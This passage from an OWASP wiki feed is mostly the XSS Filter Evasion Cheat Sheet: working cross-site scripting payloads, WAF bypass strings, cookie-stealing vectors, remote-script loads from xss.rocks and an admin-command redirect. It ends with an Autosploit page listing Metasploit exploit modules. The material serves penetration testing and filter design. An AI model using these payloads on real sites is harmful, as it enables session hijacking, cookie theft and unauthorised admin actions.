echo('IPT&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/SCRIPT&amp;gt;'); ?&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IMG Embedded commands ==&lt;br /&gt;
This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== IMG Embedded commands part II ===&lt;br /&gt;
This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal &amp;amp;lt;IMG SRC=&amp;quot;httx://badguy.com/a.jpg&amp;quot;&amp;amp;gt; could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Redirect 302 /a.jpg http://victimsite.com/admin.asp&amp;amp;deleteuser&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cookie manipulation ==&lt;br /&gt;
Admittedly this is pretty obscure but I have seen a few examples where &amp;lt;META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;Set-Cookie&amp;quot; Content=&amp;quot;USERID=&amp;amp;lt;SCRIPT&amp;amp;gt;alert('XSS')&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UTF-7 encoding ==&lt;br /&gt;
If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.: &lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;CONTENT-TYPE&amp;quot; CONTENT=&amp;quot;text/html; charset=UTF-7&amp;quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XSS using HTML quote encapsulation ==&lt;br /&gt;
This was tested in IE, your mileage may vary. For performing XSS on sites that allow &amp;quot;&amp;lt;SCRIPT&amp;gt;&amp;quot; but don't allow &amp;quot;&amp;lt;SCRIPT SRC...&amp;quot; by way of a regex filter &amp;quot;/&amp;lt;script[^&amp;gt;]+src/i&amp;quot;:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;&amp;quot; SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For performing XSS on sites that allow &amp;quot;&amp;lt;SCRIPT&amp;gt;&amp;quot; but don't allow &amp;quot;&amp;lt;script src...&amp;quot; by way of a regex filter &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot; (this is an important one, because I've seen this regex in the wild):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT =&amp;quot;&amp;gt;&amp;quot; SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Another XSS to evade the same filter, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;&amp;quot; '' SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Yet another XSS to evade the same filter, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot;. I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow &amp;lt;SCRIPT&amp;gt; tags but not remote script is a state machine (and of course there are other ways to get around this if they allow &amp;lt;SCRIPT&amp;gt; tags):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT &amp;quot;a='&amp;gt;'&amp;quot; SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
And one last XSS attack to evade, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot; using grave accents (again, doesn't work in Firefox):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;'&amp;gt;&amp;quot; SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT&amp;gt;document.write(&amp;quot;&amp;lt;SCRI&amp;quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== URL string evasion ==&lt;br /&gt;
Assuming &amp;quot;http:&amp;amp;#47;&amp;amp;#47;www.google.com/&amp;quot; is pro grammatically disallowed:&lt;br /&gt;
&lt;br /&gt;
=== IP verses hostname ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;66.102.7.147/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== URL encoding ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dword encoding ===&lt;br /&gt;
(Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;1113982867/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hex encoding ===&lt;br /&gt;
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;0x42.0x0000066.0x7.0x93/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Octal encoding ===&lt;br /&gt;
Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;0102.0146.0007.00000223/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mixed encoding === &lt;br /&gt;
Let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;h&lt;br /&gt;
tt	p://6&amp;amp;#9;6.000146.0x7.147/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Protocol resolution bypass ===&lt;br /&gt;
(// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like &amp;quot;(ht|f)tp(s)?://&amp;quot; (thanks to Ozh for part of this one). You can also change the &amp;quot;//&amp;quot; to &amp;quot;\\&amp;quot;. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;//www.google.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 1. ===&lt;br /&gt;
Firefox uses Google's &amp;quot;feeling lucky&amp;quot; function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's &amp;quot;keyword:&amp;quot; protocol. You can concatenate several keywords by using something like the following &amp;quot;keyword:XSS+RSnake&amp;quot; for instance. This no longer works within Firefox as of 2.0. &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;//google&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 2.===&lt;br /&gt;
This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the &amp;quot;feeling lucky&amp;quot; function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;ha.ckers.org@google&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 3. === &lt;br /&gt;
This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the &amp;quot;feeling lucky&amp;quot; function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case &amp;quot;google&amp;quot;):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;google:ha.ckers.org&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Removing cnames  ===&lt;br /&gt;
When combined with the above URL, removing &amp;quot;www.&amp;quot; will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;google.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extra dot for absolute DNS:===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;www.google.com./&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== JavaScript link location: ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;javascript:document.location='http://www.google.com/'&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Content replace as attack vector ===&lt;br /&gt;
Assuming &amp;quot;http:&amp;amp;#47;&amp;amp;#47;www.google.com/&amp;quot; is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: &amp;quot;java&amp;amp;#x26;#x09;script:&amp;quot; was converted into &amp;quot;java&amp;amp;#x09;script:&amp;quot;, which renders in IE, Netscape 8.1+ in secure site mode and Opera):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://www.google.com/ogle.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Character escape sequences ==&lt;br /&gt;
All the possible combinations of the character &amp;quot;&amp;lt;&amp;quot; in HTML and JavaScript. Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;&lt;br /&gt;
 %3C&lt;br /&gt;
 &amp;amp;amp;lt&lt;br /&gt;
 &amp;amp;amp;lt;&lt;br /&gt;
 &amp;amp;amp;LT&lt;br /&gt;
 &amp;amp;amp;LT;&lt;br /&gt;
 &amp;amp;amp;#60&lt;br /&gt;
 &amp;amp;amp;#060&lt;br /&gt;
 &amp;amp;amp;#0060&lt;br /&gt;
 &amp;amp;amp;#00060&lt;br /&gt;
 &amp;amp;amp;#000060&lt;br /&gt;
 &amp;amp;amp;#0000060&lt;br /&gt;
 &amp;amp;amp;#60;&lt;br /&gt;
 &amp;amp;amp;#060;&lt;br /&gt;
 &amp;amp;amp;#0060;&lt;br /&gt;
 &amp;amp;amp;#00060;&lt;br /&gt;
 &amp;amp;amp;#000060;&lt;br /&gt;
 &amp;amp;amp;#0000060;&lt;br /&gt;
 &amp;amp;amp;#x3c&lt;br /&gt;
 &amp;amp;amp;#x03c&lt;br /&gt;
 &amp;amp;amp;#x003c&lt;br /&gt;
 &amp;amp;amp;#x0003c&lt;br /&gt;
 &amp;amp;amp;#x00003c&lt;br /&gt;
 &amp;amp;amp;#x000003c&lt;br /&gt;
 &amp;amp;amp;#x3c;&lt;br /&gt;
 &amp;amp;amp;#x03c;&lt;br /&gt;
 &amp;amp;amp;#x003c;&lt;br /&gt;
 &amp;amp;amp;#x0003c;&lt;br /&gt;
 &amp;amp;amp;#x00003c;&lt;br /&gt;
 &amp;amp;amp;#x000003c;&lt;br /&gt;
 &amp;amp;amp;#X3c&lt;br /&gt;
 &amp;amp;amp;#X03c&lt;br /&gt;
 &amp;amp;amp;#X003c&lt;br /&gt;
 &amp;amp;amp;#X0003c&lt;br /&gt;
 &amp;amp;amp;#X00003c&lt;br /&gt;
 &amp;amp;amp;#X000003c&lt;br /&gt;
 &amp;amp;amp;#X3c;&lt;br /&gt;
 &amp;amp;amp;#X03c;&lt;br /&gt;
 &amp;amp;amp;#X003c;&lt;br /&gt;
 &amp;amp;amp;#X0003c;&lt;br /&gt;
 &amp;amp;amp;#X00003c;&lt;br /&gt;
 &amp;amp;amp;#X000003c;&lt;br /&gt;
 &amp;amp;amp;#x3C&lt;br /&gt;
 &amp;amp;amp;#x03C&lt;br /&gt;
 &amp;amp;amp;#x003C&lt;br /&gt;
 &amp;amp;amp;#x0003C&lt;br /&gt;
 &amp;amp;amp;#x00003C&lt;br /&gt;
 &amp;amp;amp;#x000003C&lt;br /&gt;
 &amp;amp;amp;#x3C;&lt;br /&gt;
 &amp;amp;amp;#x03C;&lt;br /&gt;
 &amp;amp;amp;#x003C;&lt;br /&gt;
 &amp;amp;amp;#x0003C;&lt;br /&gt;
 &amp;amp;amp;#x00003C;&lt;br /&gt;
 &amp;amp;amp;#x000003C;&lt;br /&gt;
 &amp;amp;amp;#X3C&lt;br /&gt;
 &amp;amp;amp;#X03C&lt;br /&gt;
 &amp;amp;amp;#X003C&lt;br /&gt;
 &amp;amp;amp;#X0003C&lt;br /&gt;
 &amp;amp;amp;#X00003C&lt;br /&gt;
 &amp;amp;amp;#X000003C&lt;br /&gt;
 &amp;amp;amp;#X3C;&lt;br /&gt;
 &amp;amp;amp;#X03C;&lt;br /&gt;
 &amp;amp;amp;#X003C;&lt;br /&gt;
 &amp;amp;amp;#X0003C;&lt;br /&gt;
 &amp;amp;amp;#X00003C;&lt;br /&gt;
 &amp;amp;amp;#X000003C;&lt;br /&gt;
 \x3c&lt;br /&gt;
 \x3C&lt;br /&gt;
 \u003c&lt;br /&gt;
 \u003C&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
= Methods to Bypass WAF – Cross-Site Scripting =&lt;br /&gt;
&lt;br /&gt;
General issues&amp;lt;br&amp;gt;&lt;br /&gt;
• Stored XSS&lt;br /&gt;
&lt;br /&gt;
If an attacker managed to push XSS through the filter, WAF wouldn’t be able to prevent the attack conduction.&amp;lt;br&amp;gt;&lt;br /&gt;
• Reflected XSS in Javascript&lt;br /&gt;
  Example: &amp;lt;script&amp;gt; ... setTimeout(\&amp;quot;writetitle()\&amp;quot;,$_GET[xss]) ... &amp;lt;/script&amp;gt;&lt;br /&gt;
  Exploitation: /?xss=500); alert(document.cookie);//&lt;br /&gt;
• DOM-based XSS&lt;br /&gt;
  Example: &amp;lt;script&amp;gt; ... eval($_GET[xss]); ... &amp;lt;/script&amp;gt;&lt;br /&gt;
  Exploitation: /?xss=document.cookie&lt;br /&gt;
&amp;lt;b&amp;gt;XSS via request Redirection.&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
• Vulnerable code:&lt;br /&gt;
  ...&lt;br /&gt;
  header('Location: '.$_GET['param']);&lt;br /&gt;
  ...&lt;br /&gt;
As well as:&lt;br /&gt;
  ...&lt;br /&gt;
  header('Refresh: 0; URL='.$_GET['param']);&lt;br /&gt;
  ...&lt;br /&gt;
• This request will not pass through the WAF:&lt;br /&gt;
  /?param=javascript:alert(document.cookie)&lt;br /&gt;
• This request will pass through the WAF and an XSS attack will be conducted in certain browsers.&lt;br /&gt;
  /?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;WAF ByPass Strings for XSS.&amp;lt;/b&amp;gt;&lt;br /&gt;
 &amp;lt;Img src = x onerror = &amp;quot;javascript: window.onerror = alert; throw XSS&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;Video&amp;gt; &amp;lt;source onerror = &amp;quot;javascript: alert (XSS)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;Input value = &amp;quot;XSS&amp;quot; type = text&amp;gt;&lt;br /&gt;
 &amp;lt;applet code=&amp;quot;javascript:confirm(document.cookie);&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;isindex x=&amp;quot;javascript:&amp;quot; onmouseover=&amp;quot;alert(XSS)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;”&amp;gt;’&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
 &amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;x:x&amp;quot; onerror=&amp;quot;alert(XSS)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;quot;&amp;gt;&amp;lt;iframe src=&amp;quot;javascript:alert(XSS)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;object data=&amp;quot;javascript:alert(XSS)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;isindex type=image src=1 onerror=alert(XSS)&amp;gt;&lt;br /&gt;
 &amp;lt;img src=x:alert(alt) onerror=eval(src) alt=0&amp;gt;&lt;br /&gt;
 &amp;lt;img  src=&amp;quot;x:gif&amp;quot; onerror=&amp;quot;window['al\u0065rt'](0)&amp;quot;&amp;gt;&amp;lt;/img&amp;gt;&lt;br /&gt;
 &amp;lt;iframe/src=&amp;quot;data:text/html,&amp;lt;svg &amp;amp;#111;&amp;amp;#110;load=alert(1)&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;meta content=&amp;quot;&amp;amp;NewLine; 1 &amp;amp;NewLine;; JAVASCRIPT&amp;amp;colon; alert(1)&amp;quot; http-equiv=&amp;quot;refresh&amp;quot;/&amp;gt;&lt;br /&gt;
 &amp;lt;svg&amp;gt;&amp;lt;script xlink:href=data&amp;amp;colon;,window.open('https://www.google.com/')&amp;gt;&amp;lt;/script&lt;br /&gt;
 &amp;lt;meta http-equiv=&amp;quot;refresh&amp;quot; content=&amp;quot;0;url=javascript:confirm(1)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;iframe src=javascript&amp;amp;colon;alert&amp;amp;lpar;document&amp;amp;period;location&amp;amp;rpar;&amp;gt;&lt;br /&gt;
 &amp;lt;form&amp;gt;&amp;lt;a href=&amp;quot;javascript:\u0061lert&amp;amp;#x28;1&amp;amp;#x29;&amp;quot;&amp;gt;X&lt;br /&gt;
 &amp;lt;/script&amp;gt;&amp;lt;img/*%00/src=&amp;quot;worksinchrome&amp;amp;colon;prompt&amp;amp;#x28;1&amp;amp;#x29;&amp;quot;/%00*/onerror='eval(src)'&amp;gt;&lt;br /&gt;
 &amp;lt;style&amp;gt;//&amp;lt;!--&amp;lt;/style&amp;gt; --&amp;gt;*{x:expression(alert(/xss/))}//&amp;lt;style&amp;gt;&amp;lt;/style&amp;gt; &lt;br /&gt;
 &amp;lt;var onmouseover=&amp;quot;prompt(1)&amp;quot;&amp;gt;On Mouse Over&amp;lt;/var&amp;gt;​&lt;br /&gt;
 &amp;lt;img src=&amp;quot;/&amp;quot; =_=&amp;quot; title=&amp;quot;onerror='prompt(1)'&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&amp;amp;#97v&amp;amp;#97script&amp;amp;#x3A;&amp;amp;#97lert(1)&amp;gt;ClickMe&lt;br /&gt;
 &amp;lt;script x&amp;gt; alert(1) &amp;lt;/script 1=2&lt;br /&gt;
 &amp;lt;form&amp;gt;&amp;lt;button formaction=javascript&amp;amp;colon;alert(1)&amp;gt;CLICKME&lt;br /&gt;
 &amp;lt;input/onmouseover=&amp;quot;javaSCRIPT&amp;amp;colon;confirm&amp;amp;lpar;1&amp;amp;rpar;&amp;quot;&lt;br /&gt;
 &amp;lt;iframe src=&amp;quot;data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
==Filter Bypass Alert Obfuscation==&lt;br /&gt;
 (alert)(1)&lt;br /&gt;
 a=alert,a(1)&lt;br /&gt;
 [1].find(alert)&lt;br /&gt;
 top[“al”+”ert”](1)&lt;br /&gt;
 top[/al/.source+/ert/.source](1)&lt;br /&gt;
 al\u0065rt(1)&lt;br /&gt;
 top[‘al\145rt’](1)&lt;br /&gt;
 top[‘al\x65rt’](1)&lt;br /&gt;
 top[8680439..toString(30)](1)&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Robert &amp;quot;RSnake&amp;quot; Hansen&lt;br /&gt;
&lt;br /&gt;
= Contributors =&lt;br /&gt;
&lt;br /&gt;
Adam Lange&amp;lt;br/&amp;gt;&lt;br /&gt;
Mishra Dhiraj&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
[[Category:Popular]]&lt;br /&gt;
[[Category:OWASP_Breakers]]&lt;br /&gt;
{{TOC hidden}}&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Autosploit_Project&amp;diff=233514</id>
		<title>OWASP Autosploit Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Autosploit_Project&amp;diff=233514"/>
				<updated>2017-09-20T05:52:37Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Main */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
==OWASP Autosploit Tool Project ==&lt;br /&gt;
OWASP Autosploit - Automates Metasploit Modules.&lt;br /&gt;
&lt;br /&gt;
Autosploit is a free and open test suite designed in bash to run various modules of Metaspolit on specific IP which will allow a Pentester for enumeration or during their pentesting, It is designed to be used by penetration testers, security auditors or server administrators.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
It Executes multiple MSF Modules on a target machine.&lt;br /&gt;
&lt;br /&gt;
MS08_067&lt;br /&gt;
&lt;br /&gt;
MS17_010&lt;br /&gt;
&lt;br /&gt;
MS03_026&lt;br /&gt;
&lt;br /&gt;
MS12_020&lt;br /&gt;
&lt;br /&gt;
MS10_061&lt;br /&gt;
&lt;br /&gt;
MS09_050&lt;br /&gt;
&lt;br /&gt;
MS06_040&lt;br /&gt;
&lt;br /&gt;
MS05_039&lt;br /&gt;
&lt;br /&gt;
MS12_020&lt;br /&gt;
&lt;br /&gt;
OSVDB-73573&lt;br /&gt;
&lt;br /&gt;
CVE-2017-5689&lt;br /&gt;
&lt;br /&gt;
CVE-2012-1823&lt;br /&gt;
&lt;br /&gt;
CVE-2006-2369&lt;br /&gt;
&lt;br /&gt;
CVE-2009-3843&lt;br /&gt;
&lt;br /&gt;
SMB Session Pipe Auditor&lt;br /&gt;
&lt;br /&gt;
Gathering GPP Saved Passwords&lt;br /&gt;
&lt;br /&gt;
Checks for multiple auxiliary modules&lt;br /&gt;
&lt;br /&gt;
Execute MSF Modules on a target machine if application up an running.&lt;br /&gt;
&lt;br /&gt;
WMAP&lt;br /&gt;
&lt;br /&gt;
The Tool Project Template is simply a sample project that was developed for instructional purposes that can be used to create default project pages for a Tool project.  After copying this template to your new project, all you have to do is follow the instructions in red, replace the sample text with text suited for your project, and then delete the sections in red.  Doing so should make it clearer to both consumers of this project, as well as OWASP reviewers who are trying to determine if the project can be promoted to the next category.  The information requested is also intended to help Project Leaders think about the roadmap and feature priorities, and give guidance to the reviews as a result of that effort.&lt;br /&gt;
&lt;br /&gt;
Creating a new set of project pages from scratch can be a challenging task.  By providing a sample layout, with instructional text and examples, the OWASP Tool Project Template makes it easier for Project Leaders to create effective security projects and hence helps promote security.&lt;br /&gt;
&lt;br /&gt;
Contextual custom dictionary builder with character substitution and word variations for pen-testers&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
Apache 2.0 License&lt;br /&gt;
&lt;br /&gt;
This program is free software: you can redistribute it and/or modify it under the terms of the [http://www.gnu.org/licenses/agpl-3.0.html link GNU Affero General Public License 3.0] as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.  OWASP XXX and any contributions are Copyright &amp;amp;copy; by {the Project Leader(s) or OWASP} {Year(s)}.  &lt;br /&gt;
&lt;br /&gt;
